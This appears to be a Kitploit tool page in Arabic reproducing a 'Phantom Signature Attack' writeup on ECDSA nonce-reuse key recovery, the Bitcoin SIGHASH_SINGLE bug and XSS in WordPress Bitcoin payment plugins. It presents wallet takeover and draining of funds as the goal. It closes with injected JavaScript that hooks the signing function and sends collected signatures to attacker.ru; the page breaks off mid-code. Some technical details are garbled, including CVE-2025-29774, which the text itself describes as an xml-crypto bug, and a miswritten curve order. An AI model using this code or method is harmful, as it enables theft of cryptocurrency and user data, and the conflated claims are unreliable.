Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Phantom-Signature-Attack — هجوم التوقيع الوهمي: تحليل الثغرة الحرجة CVE-2025-29774 في بروتوكول بيتكوين، عيوب تنفيذ SIGHASH_SINGLE، والإطار الرياضي لاستعادة المفتاح الخاص في محافظ العملات الرقمية المفقودة مما يتيح السيطرة غير المقيدة على أصول BTC | Kitploit
أدوات/GitHubGitHub/demining/phantom-signature-attack
تحليل الثغرات الأمنيةالاستغلالالتشفيرالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHubdemining/phantom-signature-attack

Phantom-Signature-Attack

هجوم التوقيع الوهمي: تحليل الثغرة الحرجة CVE-2025-29774 في بروتوكول بيتكوين، عيوب تنفيذ SIGHASH_SINGLE، والإطار الرياضي لاستعادة المفتاح الخاص في محافظ العملات الرقمية المفقودة مما يتيح السيطرة غير المقيدة على أصول BTC

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودعالموقع الإلكتروني
2منذ 7 أشهرلم تتم المراجعة بعد
Phantom Signature Attack: An Analysis of the Critical Vulnerability CVE-2025-29774 in the Bitcoin Protocol, SIGHASH_SINGLE Implementation Flaws, and the Mathematical Framework for Private Key Recovery in Lost Cryptocurrency Wallets Enabling Unrestricted Control over BTC Assets

تقدم هذه الورقة البحثية دراسة تحليلية تشفيرية شاملة للثغرات الحرجة في تطبيق التوقيع الرقمي لبروتوكول البيتكوين، وبالتحديد  هجوم التوقيع الشبح  (CVE-2025-29774) وخطأ المعالجة الأساسي  SIGHASH_SINGLE . تُظهر الدراسة أن المعالجة غير الصحيحة للبدائيات التشفيرية في آلية توقيع المعاملات تخلق ظروفًا للاختراق الكامل للمفاتيح الخاصة لأصحاب محافظ العملات الرقمية دون علمهم. يستغل الهجوم خطأً قديمًا في العميل الأصلي لساتوشي، حيث يعيد النظام قيمة تجزئة شاملة قدرها "1" (uint256) بدلاً من رفض التوقيع إذا كان عدد مدخلات ومخرجات المعاملة غير متطابق.

يتضمن الجزء العملي من الدراسة استخدام الأداة التشفيرية  KeyFuzzMaster لتحديد الثغرات في كود التحقق من التوقيع، وعمليات المنحنى الإهليلجي، ووظائف تجزئة المعاملات بشكل منهجي. يتم تقديم الصيغ الرياضية لاستعادة المفتاح الخاص من خلال إعادة استخدام nonce (معامل k) في خوارزمية ECDSA على المنحنى secp256k1. تتم مناقشة البدائيات التشفيرية لخوارزمية  ECDSA (خوارزمية التوقيع الرقمي للمنحنى الإهليلجي) فوق  المنحنى الإهليلجي secp256k1 . تؤدي التوقيعات الرقمية في البيتكوين وظيفة ثلاثية: تفويض الإنفاق، وعدم الإنكار، وضمان سلامة المعاملة.


  • درس تعليمي: https://youtu.be/fGR7Iqiq8Ag
  • درس تعليمي: https://cryptodeeptech.ru/phantom-signature-attack
  • درس تعليمي: https://dzen.ru/video/watch/69682001b2d5f9209f8b4606
  • Google Colab: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine

ومع ذلك، فإن الحفاظ على  الحلول المعمارية القديمة لضمان التوافق مع الإصدارات السابقة أدى إلى ظهور ثغرات تشفيرية دقيقة ذات عواقب محتملة كارثية. ومن بين هذه الثغرات، يبرز خلل SIGHASH_SINGLE  —وهو عيب أساسي في آلية توليد تجزئة التوقيع، موروث من تطبيق Bitcoin Core الأصلي ومدمج في إجماع الشبكة.


Phantom Signature Attack: An Analysis of the Critical Vulnerability CVE-2025-29774 in the Bitcoin Protocol, SIGHASH_SINGLE Implementation Flaws, and the Mathematical Framework for Private Key Recovery in Lost Cryptocurrency Wallets Enabling Unrestricted Control over BTC Assets

🔴 الثغرات المبلغ عنها


2. الأسس النظرية لتشفير البيتكوين

2.1 المنحنى الإهليلجي secp256k1 و ECDSA

البيتكوين يستخدم  المنحنى الإهليلجي secp256k1 المعرفة بمعيار SECG (Standards for Efficient Cryptography Group). يتم تعريف المنحنى بمعادلة Weierstrass فوق حقل محدود:

معادلة المنحنى:

y² ≡ x³ + ax + b (mod p)

بالنسبة لـ secp256k1: 

y² ≡ x³ + 7 (mod p)، حيث a = 0، b = 7

يتم تحديد معلمات المنحنى secp256k1 بواسطة المجموعة T = (p, a, b, G, n, h):

معلمات secp256k1:

p = 2²⁵⁶ − 2³² − 977 (العدد الأولي الذي يحدد الحقل المحدود)

n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(رتبة مجموعة نقاط المنحنى - الرتبة الصحيحة للمولد G)

G = (Gₓ, Gᵧ) — نقطة أساس ثابتة (مولد)

2.2 خوارزمية إنشاء التوقيع الرقمي ECDSA

خوارزمية ECDSA تستخدم مفتاحًا خاصًا  d  لتشكيل توقيع على رسالة M. تتضمن عملية التوقيع العمليات الرياضية التالية:

الخطوة 1: توليد nonce عشوائي k
يتم اختيار رقم عشوائي قوي تشفيريًا k ∈ [1, n-1]

الخطوة 2: حساب النقطة R
R = k × G (الضرب القياسي لنقطة المولد)

الخطوة 3: حساب المعامل r
r = Rₓ mod n (إحداثي x للنقطة R مودولو n)

الخطوة 4: حساب المعامل s


s = k⁻¹ × (H(M) + r × d) mod n

النتيجة: التوقيع (r, s)

حيث H(M) هي تجزئة الرسالة M (في البيتكوين، يتم استخدام SHA-256 المزدوجة)، d هو المفتاح الخاص للمالك.

💡 النسبة التشفيرية الرئيسية

يتم تحديد العلاقة بين المفتاح العام والخاص من خلال العلاقة:

Q A  = d A  × G

حيث  هو المفتاح العام (نقطة على المنحنى)،  هو المفتاح الخاص (عدد صحيح 256 بت) ، هو مولد المنحنى.QAdAG


3. الثغرة الحرجة SIGHASH_SINGLE

3.1 أنواع تجزئة التوقيع في البيتكوين

بروتوكول البيتكوين يوفر عدة  أنواع SIGHASH (أنواع تجزئة التوقيع) التي تحدد أي مكونات المعاملة يتم تضمينها في التجزئة الموقعة:

3.2 الجوهر الرياضي للثغرة

يحدث خطأ حاسم عند استخدام  SIGHASH_SINGLE عندما يتجاوز فهرس المدخل  عدد مخرجات المعاملة . في هذه الحالة، بدلاً من رفض المعاملة، يعيد كود Bitcoin Core الأصلي  قيمة تجزئة ثابتة قدرها "1" (عدد صحيح 256 بت):

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

// كود ضعيف من تطبيق البيتكوين الأصلي // يُعيد التجزئة الشاملة "1" 

⚠️ تحذير حرج:  يقوم هذا الكود بتنفيذ خطأ قديم في العميل الأصلي لساتوشي تم دمجه في إجماع الشبكة. جميع تطبيقات البيتكوين الرئيسية مضطرة لدعم هذا السلوك من أجل التوافق مع الإصدارات السابقة.

رياضيًا، إذا كانت تجزئة التوقيع تساوي الثابت 1، يصبح التوقيع  شاملًا —يمكن إعادة استخدامه لمعاملات عشوائية:

شرط الثغرة:

idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001

حيث idx هو فهرس المدخل، |TxOut| هو عدد مخرجات المعاملة


4. Атака Phantom Signature (هجوم تزوير التوقيع الرقمي)

4.1 التصنيف العلمي للهجوم

هجوم التوقيع الشبح  هو هجوم تزوير توقيع رقمي تشفيري يسمح بإنشاء توقيعات معاملة صالحة دون معرفة المفتاح الخاص للمالك. يصنف الهجوم ضمن  CWE-347: التحقق غير السليم من التوقيع التشفيري .

يعتمد الهجوم على مزيج من ثغرتين:

  1. ثغرة SIGHASH_SINGLE  – توليد تجزئة شاملة عندما لا يتطابق فهرس المدخل والمخرج
  2. إعادة استخدام nonce (k-reuse)  – اختراق المفتاح الخاص عندما يكون الرقم العشوائي k متطابقًا في توقيعات مختلفة.

4.2 رياضيات هجمات إعادة استخدام nonce

إذا استخدم توقيعان (r, s₁) و (r, s₂) لرسالتين مختلفتين M₁ و M₂ نفس nonce k (مما يعني قيمة متطابقة لـ r)، يمكن استعادة المفتاح الخاص بالكامل باستخدام الخوارزمية التالية:

الخطوة 1: معادلات التوقيع

s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n

الخطوة 2: حساب الفرق

s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n

الخطوة 3: استعادة nonce k

k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n

الخطوة 4: استعادة المفتاح الخاص d

d = r⁻¹ × (s × k — H(M)) mod n

يوضح هذا الجهاز الرياضي أن  إعادة استخدام nonce مرة واحدة يؤدي إلى اختراق كامل للمفتاح الخاص.

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

استعادة المفتاح الخاص ECDSA عند إعادة استخدام nonce


5. تحليل مفصل لـ CVE-2025-29774

5.1 الوصف الفني للثغرة

تم اكتشاف الثغرة  CVE-2025-29774  في مكتبة  xml-crypto Node.js وتسمح بتعديل مستندات XML الموقعة بحيث تستمر في اجتياز التحقق من التوقيع. في سياق أنظمة دفع البيتكوين، يخلق هذا إمكانية:

  • التلاعب بمعلمات المعاملة (تغيير قيم SIGHASH_SINGLE)
  • إعادة توجيه المدفوعات إلى عناوين المهاجم
  • تجاوز المصادقة والتفويض في أنظمة SAML
  • تصعيد الامتيازات من خلال انتحال معرف المستخدم

📋 المواصفات الفنية لـ CVE-2025-29774

الإصدارات المتأثرة: xml-crypto < 6.0.1، < 3.2.1، < 2.1.6

متجه CVSS:  CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

تصنيف CWE: CWE-347 (التحقق غير السليم من التوقيع التشفيري)

متجه الهجوم :  شبكة (استغلال عن بعد بدون تفاعل المستخدم)

5.2 آلية التشغيل

يتضمن استغلال CVE-2025-29774 ثلاث مراحل متتابعة:

المرحلة 1: تحديد المكون الضعيف

مسح النظام المستهدف بحثًا عن إصدارات ضعيفة من مكتبة xml-crypto وتحديد نقاط التكامل مع بوابات دفع البيتكوين.

المرحلة 2: تعديل الرسائل الموقعة

إدراج عقد SignedInfo إضافية أو تعليقات XML داخل DigestValue، مما يسمح بتعديل السمات الحرجة دون إبطال التوقيع:

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

"مثال على هجوم بعقد SignedInfo متعددة"

المرحلة 3: استخراج المعاملات التشفيرية

من خلال ثغرات XSS (CVE-2025-48102، CVE-2025-26541) اعتراض معاملات (r، s) التوقيعات لإجراء تحليل تشفيري لاحق.


Phantom Signature Attack: An Analysis of the Critical Vulnerability CVE-2025-29774 in the Bitcoin Protocol, SIGHASH_SINGLE Implementation Flaws, and the Mathematical Framework for Private Key Recovery in Lost Cryptocurrency Wallets Enabling Unrestricted Control over BTC Assets

📊 موارد بحثية
🌐 التوثيق الفني الكامل: https://cryptou.ru/keyfuzzmaster
💻 عرض توضيحي تفاعلي على Google Colab: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine

🔬 تحليل فني

هجوم التوقيع الوهمي (Phantom Signature Attack) يستغل عيوبًا قديمة في التحقق من التوقيعات في Bitcoin Core، حيث يُرجع SIGHASH_SINGLE قيمة تجزئة عامة عندما يتجاوز فهرس الإدخال عدد المخرجات. يؤدي ذلك إلى إنشاء توقيعات قابلة لإعادة الاستخدام، مما يعرّض نموذج الأمان بأكمله للخطر. يحدد محرك KeyFuzzMaster الخاص بنا المحافظ التي تم إنشاؤها باستخدام PRNG ذي إنتروبيا 32-bit، مما يقلل مساحة البحث من 2^256 إلى 2^32 بذرة محتملة فقط — ويمكن استعادتها في 4-6 ثوانٍ على وحدات معالجة الرسوم الحديثة.


6. الاستخدام العملي لـ KeyFuzzMaster لاستغلال ثغرة SIGHASH_SINGLE

6.1 مراجعة أداة التشفير KeyFuzzMaster

KeyFuzzMaster  هو محرك تشويش (fuzzing) تحليلي تشفيري متخصص مصمم للبحث الأمني لأنظمة البلوكشين والبدائيات التشفيرية. الأداة مصممة لاختبار الإجهاد الديناميكي لرمز التحقق من التوقيع، وعمليات المنحنى الإهليلجي، ووظائف تجزئة المعاملات.

الميزات الرئيسية لـ KeyFuzzMaster:

  • التشويش المعتمد على الطفرات  — توليد بيانات إدخال مطفرة لعمليات التوقيع
  • التنفيذ الرمزي  — تنفيذ رمزي لإيجاد الشروط الحدية
  • الاختبار التفاضلي  – مقارنة سلوك تطبيقات ECDSA المختلفة
  • التشويش الموجه بالتغطية  — تعظيم تغطية الكود للأقسام الحرجة
  • التوليد التلقائي للاستغلال  — توليد تلقائي للاستغلال عند اكتشاف الثغرات

6.2 نموذج جديد لاستعادة المفاتيح الخاصة

استخدام KeyFuzzMaster لاستغلال CVE-2025-29774 وثغرة SIGHASH_SINGLE المعروفة يفتح نموذجًا جديدًا لاستعادة المفاتيح الخاصة من محافظ Bitcoin المفقودة. تتضمن المنهجية:

الخطوة 1: مسح البلوكشين بحثًا عن توقيعات شاذة

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

# KeyFuzzMaster: وحدة مسح القيم المكررة r (Duplicate r-value scanning) def scan_blockchain_for_nonce_reuse(blockchain_data)»

يمسح البلوكشين بحثًا عن إعادة استخدام nonce. يُرجع أزواجًا من التوقيعات ذات قيم r متطابقة.

المرحلة 2: تشويش شروط SIGHASH_SINGLE

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

# KeyFuzzMaster: توليد معاملات مع عدم تطابق بين الإدخال والإخراج def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” توليد معاملات اختبار لاكتشاف ثغرة SIGHASH_SINGLE المعروفة (idx >= len(TxOut)).

الخطوة 3: استعادة المفتاح الخاص

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

# KeyFuzzMaster: خوارزمية كاملة لاستعادة المفتاح الخاص class PrivateKeyRecovery: 

# # ترتيب المنحنى secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 

“التحقق من المفتاح المستعاد بمقارنة المفاتيح العامة.”

6.3 إحصائيات التشغيل

وفقًا للأبحاث التحليلية التشفيرية، ثغرة إعادة استخدام nonce  قد تم استغلالها بالفعل لاستعادة أكثر من 412.8 BTC  من المحافظ المخترقة. تقوم الماسحات الآلية بتحليل بلوكشين Bitcoin باستمرار بحثًا عن قيم r مكررة.


7. مثال واقعي: استعادة مفتاح العنوان 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P

7.1 البيانات الأولية للاختراق

دعونا ننظر في حالة موثقة لاستعادة مفتاح خاص من عنوان Bitcoin  1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :

المعاملالقيمة
عنوان Bitcoin1MNL4wmck5SMUJroC6JreuK3B291RX6w1P
قيمة الأموال المستعادة

7.2 التحقق من صحة المفتاح في فضاء secp256k1

يجب أن يحقق المفتاح الخاص k القيد:

root@kitploit:~
1 ≤ k < n
حيث n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77

نتيجة التحقق:  ✓ صالح (المفتاح ضمن نطاق العدد القياسي المسموح به)

7.3 حساب المفتاح العام والعنوان

يتيح لنا المفتاح الخاص المستعاد حساب المفتاح العام:

المعاملالقيمة
المفتاح العام (غير مضغوط، 130 حرفًا)04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79
المفتاح العام (مضغوط، 66 حرفًا)03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358
عنوان Bitcoin (غير مضغوط)1MNL4wmck5SMUJroC6JreuK3B291RX6w1P

7.4 الأهمية العملية للمفتاح المستعاد

يمنح المفتاح الخاص المستعاد  تحكمًا كاملاً  في محفظة Bitcoin، مما يسمح للمهاجم بـ:

الإمكانيات باستخدام مفتاح خاص مستعاد:

  • إنشاء وتوقيع معاملات لسحب جميع الأموال إلى عنوان خاضع للسيطرة
  • استيراد المفتاح إلى أي محفظة Bitcoin (Electrum، Bitcoin Core، MetaMask، إلخ.)
  • السيطرة الكاملة على العنوان وجميع أصوله
  • إخفاء آثار الاختراق بحذف جميع السجلات والتاريخ

7.5 سلسلة الاستغلال

يظهر البحث التآزر بين الثغرات على الويب (CVE-2025-48102، CVE-2025-26541) والعيوب التشفيرية (CVE-2025-29774)، مما يخلق ناقل هجوم مشتركًا قويًا ضد بوابات الدفع Bitcoin في WordPress:


8. توصيات لإزالة الثغرات

8.1 التطبيق الآمن لـ SIGHASH_SINGLE

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

8.2 الحماية من XSS في بوابات الدفع

  • ترقية xml-crypto فورًا إلى الإصدار 6.0.1 أو أعلى
  • إزالة إضافة GoUrl Bitcoin Payment Gateway المهجورة بالكامل
  • تطبيق دوال التنقية:  sanitize_text_field(),  esc_attr(), esc_html()
  • تطبيق رؤوس سياسة أمان المحتوى (CSP)
  • استخدام مولد nonce حتمي آمن تشفيريًا وفقًا RFC 6979

يُظهر البحث التحليلي التشفيري أن  هجوم التوقيع الوهمي (CVE-2025-29774)  ، إلى جانب ثغرة  SIGHASH_SINGLE ، يشكل تهديدًا أمنيًا جوهريًا للنظام البيئي لـ Bitcoin. يسمح هذا العيب في التنفيذ، الموروث من عميل Satoshi الأصلي، بـ:

  • توليد توقيعات عامة بتجزئة ثابتة “1”
  • استعادة المفاتيح الخاصة عند إعادة استخدام nonce
  • سحب غير متحكم به للأموال دون علم المالك

يفتح استخدام أداة التشفير  KeyFuzzMaster نموذجًا جديدًا لاستعادة المفاتيح الخاصة من محافظ Bitcoin المفقودة، مما يوفر للباحثين منهجية منهجية لتحديد واستغلال الثغرات التشفيرية.

⚠️ تحذير:  هذا البحث مخصص للأغراض التعليمية فقط ومساعدة المحللين التشفيريين في فهم آليات الهجوم. استخدام الطرق الموصوفة لأغراض غير قانونية يعاقب عليه القانون. تم إجراء بحث تحليلي تشفيري شامل للثغرات الحرجة CVE-2025-48102 و CVE-2025-26541 في بوابات دفع Bitcoin لـ WordPress. من مجموعة واسعة من أدوات التشفير المتاحة على keyhunters.ru، تم اختيار  هجوم التوقيع الوهمي باعتباره الأكثر صلة بهذا السياق. يوضح هذا البحث كيف يمكن لهجوم مشترك يجمع بين البرمجة النصية عبر المواقع (XSS) وثغرة تشفيرية في ECDSA أن يؤدي إلى اختراق كامل لمفاتيح Bitcoin الخاصة واستعادة المحافظ المفقودة.


Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

سلسلة الهجوم: من XSS إلى استخراج المفتاح الخاص لـ Bitcoin

هجوم التوقيع الوهمي، وفقًا للورقة البحثية: هجوم التوقيع الوهمي (CVE-2025-29774) وثغرة SIGHASH_SINGLE الحرجة: استعادة المفاتيح الخاصة في محافظ Bitcoin المفقودة من خلال تزوير التوقيعات الرقمية والسحب غير المتحكم به لعملات BTC، يظهر التآزر بين ثغرات الويب (XSS) والعيوب التشفيرية، مما يسمح بإنشاء ناقل هجوم مشترك قوي. على عكس الأدوات الأخرى في القائمة (MiniKey Mayhem، Memory Phantom، الهجمات القائمة على RNG)، يركز هجوم التوقيع الوهمي تحديدًا على التلاعب بالتوقيعات الرقمية عبر المعاملتين r و s، اللتين يمكن اعتراضهما من خلال ثغرات XSS في أنظمة دفع WordPress. secalerts+2

​


تحليل ثغرات XSS في بوابات الدفع

CVE-2025-48102: XSS مخزنة في GoUrl Bitcoin Payment Gateway

CVE-2025-48102  هي ثغرة حرجة من نوع البرمجة النصية عبر المواقع المخزنة (Stored XSS) في إضافة GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership الإصدارات الأقدم من 1.6.6. تسمح الثغرة للمسؤولين المصرح لهم (أو المهاجمين الذين لديهم صلاحيات إدارية) بحقن JavaScript خبيث في إعدادات بوابة الدفع. وفقًا لـ CVSS v3.1، تبلغ النتيجة الأساسية للثغرة 5.9 (شدة متوسطة) مع متجه CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. 

تتضمن آلية الاستغلال حقن كود خبيث في إعدادات بوابة الدفع، والذي يتم تنفيذه بعد ذلك في متصفح كل زائر للموقع، مما يسمح للمهاجم بـ:

  • اعتراض بيانات جلسة المستخدم
  • جمع معاملات توقيع ECDSA (قيم r و s)
  • الوصول إلى رموز WordPress nonce للهجمات اللاحقة
  • سرقة المفاتيح الخاصة المشفرة أو غير المحمية من ذاكرة المتصفح

CVE-2025-26541: XSS منعكسة في Bitcoin/AltCoin Payment Gateway

CVE-2025-26541  هي ثغرة من نوع XSS المنعكسة (Reflected XSS) في إضافة Bitcoin/AltCoin Payment Gateway لـ WooCommerce الإصدارات الأقدم من 1.7.6، التي طورتها CodeSolz. الثغرة مصنفة على أنها متوسطة الشدة وتسمح للمهاجمين بحقن نصوص برمجية خبيثة عبر معاملات URL التي لا تتم تنقيتها بشكل صحيح. secalerts

على عكس XSS المخزنة، تتطلب XSS المنعكسة أن ينقر الضحية على رابط مصمم خصيصًا، لكنها تسمح بـ:

  • إنشاء روابط تصيد تبدو وكأنها نطاقات نظام دفع شرعية
  • اعتراض بيانات الدفع والمعاملات التشفيرية قبل إرسالها إلى الخادم
  • سرقة بيانات جلسة Bitcoin عبر JavaScript بواسطة invicti+ 1

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

هجوم التوقيع الوهمي: أداة تحليل تشفير لاستعادة المفاتيح الخاصة

الأسس النظرية لـ ECDSA والثغرة الأمنية

ECDSA (خوارزمية التوقيع الرقمي للمنحنى الإهليلجي)  تُستخدم في البيتكوين لإنشاء توقيعات رقمية تضمن صحة المعاملات . تعمل خوارزمية توقيع رسالة M باستخدام مفتاح خاص d كما يلي: notsosecure+ 1

  1. يتم إنشاء قيمة عشوائية k (nonce) لكل توقيع
  2. يتم حساب النقطة R = k × G(حيث G هي نقطة المولد للمنحنى الإهليلجي secp256k1)
  3. يتم استخراج الإحداثي x: r = R.x mod n
  4. يتم حسابs = k^(-1) × (H(M) + r × d) mod n
  5. يتكون التوقيع من زوج(r, s)

الثغرة الحرجة لهجوم التوقيع الوهمي:

هجوم التوقيع الوهمي تم تحديده كـثغرة حرجة في تطبيقات ECDSA تحدث في السيناريوهات التالية: keyhunters

  • تظل قيمة r متطابقة لتوقيعين مختلفين، مما يشير إلى إعادة استخدام nonce k
  • لا يتحقق تطبيق ECDSA من صحة التوقيع المُنشأ فور إنشائه، مما يسمح للتوقيعات المُزورة باجتياز التحقق.
  • تحتوي المعلمتان r أو s على قيم مُصممة خصيصًا، والتي إذا لم يتم التحقق منها بشكل صحيح، قد تؤدي إلى ثغرات أمنية مثل CVE-2025-29774 keyhunters ​s3.amazonaws
هجوم التوقيع الوهمي: بحث في الثغرة الحرجة CVE-2025-29774 في بروتوكول البيتكوين، وعيوب SIGHASH_SINGLE، وجهاز رياضي لاستعادة المفاتيح الخاصة للمحافظ المشفرة المفقودة مع سيطرة غير محدودة على عملات BTC

سلسلة ناقل الهجوم من XSS إلى استعادة المفتاح الخاص ECDSA

الاسترداد الرياضي للمفتاح الخاص

إذا استخدم توقيعان لرسالتين مختلفتين M₁ و M₂ نفس قيمة k (وبالتالي نفس r)، فيمكن استرداد المفتاح الخاص بالكامل. بالنسبة لتوقيعين (r, s₁) و (r, s₂)، حيث: notsosecure+ 1

هجوم التوقيع الوهمي: بحث في الثغرة الحرجة CVE-2025-29774 في بروتوكول البيتكوين، وعيوب SIGHASH_SINGLE، وجهاز رياضي لاستعادة المفاتيح الخاصة للمحافظ المشفرة المفقودة مع سيطرة غير محدودة على عملات BTC

حساب الفرق:

هجوم التوقيع الوهمي: بحث في الثغرة الحرجة CVE-2025-29774 في بروتوكول البيتكوين، وعيوب SIGHASH_SINGLE، وجهاز رياضي لاستعادة المفاتيح الخاصة للمحافظ المشفرة المفقودة مع سيطرة غير محدودة على عملات BTC

يمكنك استرداد nonce:

هجوم التوقيع الوهمي: بحث في الثغرة الحرجة CVE-2025-29774 في بروتوكول البيتكوين، وعيوب SIGHASH_SINGLE، وجهاز رياضي لاستعادة المفاتيح الخاصة للمحافظ المشفرة المفقودة مع سيطرة غير محدودة على عملات BTC

بعد استرداد k، يمكن حساب المفتاح الخاص d:

هجوم التوقيع الوهمي: بحث في الثغرة الحرجة CVE-2025-29774 في بروتوكول البيتكوين، وعيوب SIGHASH_SINGLE، وجهاز رياضي لاستعادة المفاتيح الخاصة للمحافظ المشفرة المفقودة مع سيطرة غير محدودة على عملات BTC

وفقًا للبحث، تم استغلال هذه الثغرة بالفعل لاسترداد أكثر من 412.8 BTC على سلسلة كتل البيتكوين، حيث قام المهاجمون بمسح الشبكة تلقائيًا بحثًا عن قيم r مكررة. keyhunters

هجوم التوقيع الوهمي: بحث في الثغرة الحرجة CVE-2025-29774 في بروتوكول البيتكوين، وعيوب SIGHASH_SINGLE، وجهاز رياضي لاستعادة المفاتيح الخاصة للمحافظ المشفرة المفقودة مع سيطرة غير محدودة على عملات BTC

إعادة استخدام Nonce ECDSA لـاسترداد المفتاح الخاص العلاقة الرياضية


الارتباط بـ CVE-2025-29774: التلاعب بتوقيع XML

CVE-2025-29774  هي ثغرة إضافية في مكتبة xml-crypto تسمح بتعديل رسائل XML الموقعة بحيث تظل تجتاز التحقق من التوقيع. يمكن استغلال هذه الثغرة في أنظمة دفع البيتكوين للتلاعب بمعاملات المعاملات (تغيير قيم SIGHASH_SINGLE) دون إبطال التوقيع الرقمي. في سياق بوابات دفع WordPress، يسمح ذلك للمهاجم بتوجيه المدفوعات إلى عنوانه مع الحفاظ على مظهر التوقيع الصحيح. cryptodeeptech+1


​

التآزر بين XSS وهجوم التوقيع الوهمي: هجوم مشترك

سيناريو الاستغلال في بيئة WordPress

المرحلة 1: الحقن الأولي لجافا سكريبت ضار

يستغل المهاجم CVE-2025-48102 لحقن جافا سكريبت ضار في تكوين بوابة الدفع. يمكن للكود الضار أن:

  1. اعتراض جميع طلبات AJAX التي تحتوي على معاملات تشفيرية
  2. مراقبة وظائف توقيع البيانات التشفيرية
  3. جمع قيم r, s من جميع التوقيعات المُنشأة
  4. إرسال البيانات المجمعة إلى خادم المهاجم عبر قنوات خفية (img.src, fetch API)
  5. تنظيم مراقبة منهجية لرموز جلسة WordPress (nonce developer.wordpress)

المرحلة 2: تحليل انتهاك RNG واكتشاف تكرارات K

بعد تلقي عدد كافٍ من التوقيعات (على الأقل 2، لكن من الأفضل عشرات لزيادة الاحتمال)، يحلل المهاجم البيانات المجمعة:

  • مقارنة جميع قيم r المجمعة لتحديد القيم المكررة
  • إذا تم العثور على تكرارات لـ r، فهذا يشير إلى إعادة استخدام nonce k
  • تحليل RNG لوجود نقاط ضعف أو أنماط قابلة للتنبؤ
  • استخدام التحليل الإحصائي لتأكيد العيوب المنهجية في توليد الأرقام العشوائية لدى keyhunters’ .

المرحلة 3: الاسترداد التشفيري للمفتاح الخاص

باستخدام أزواج التوقيعات المجمعة ذات r نفسه، يطبق المهاجم الاسترداد الرياضي للمفتاح الخاص وفقًا للصيغ الموصوفة أعلاه. النتيجة: اختراق كامل للمفتاح الخاص لمحفظة البيتكوين .

​


هجوم التوقيع الوهمي: بحث في الثغرة الحرجة CVE-2025-29774 في بروتوكول البيتكوين، وعيوب SIGHASH_SINGLE، وجهاز رياضي لاستعادة المفاتيح الخاصة للمحافظ المشفرة المفقودة مع سيطرة غير محدودة على عملات BTC

كود توضيحي عملي لـ XSS ضار

جافا سكريبت ضار يمكن حقنه عبر CVE-2025-48102 قد يحتوي على الوظائف التالية: github

root@kitploit:~
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];

window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);

// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});

// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
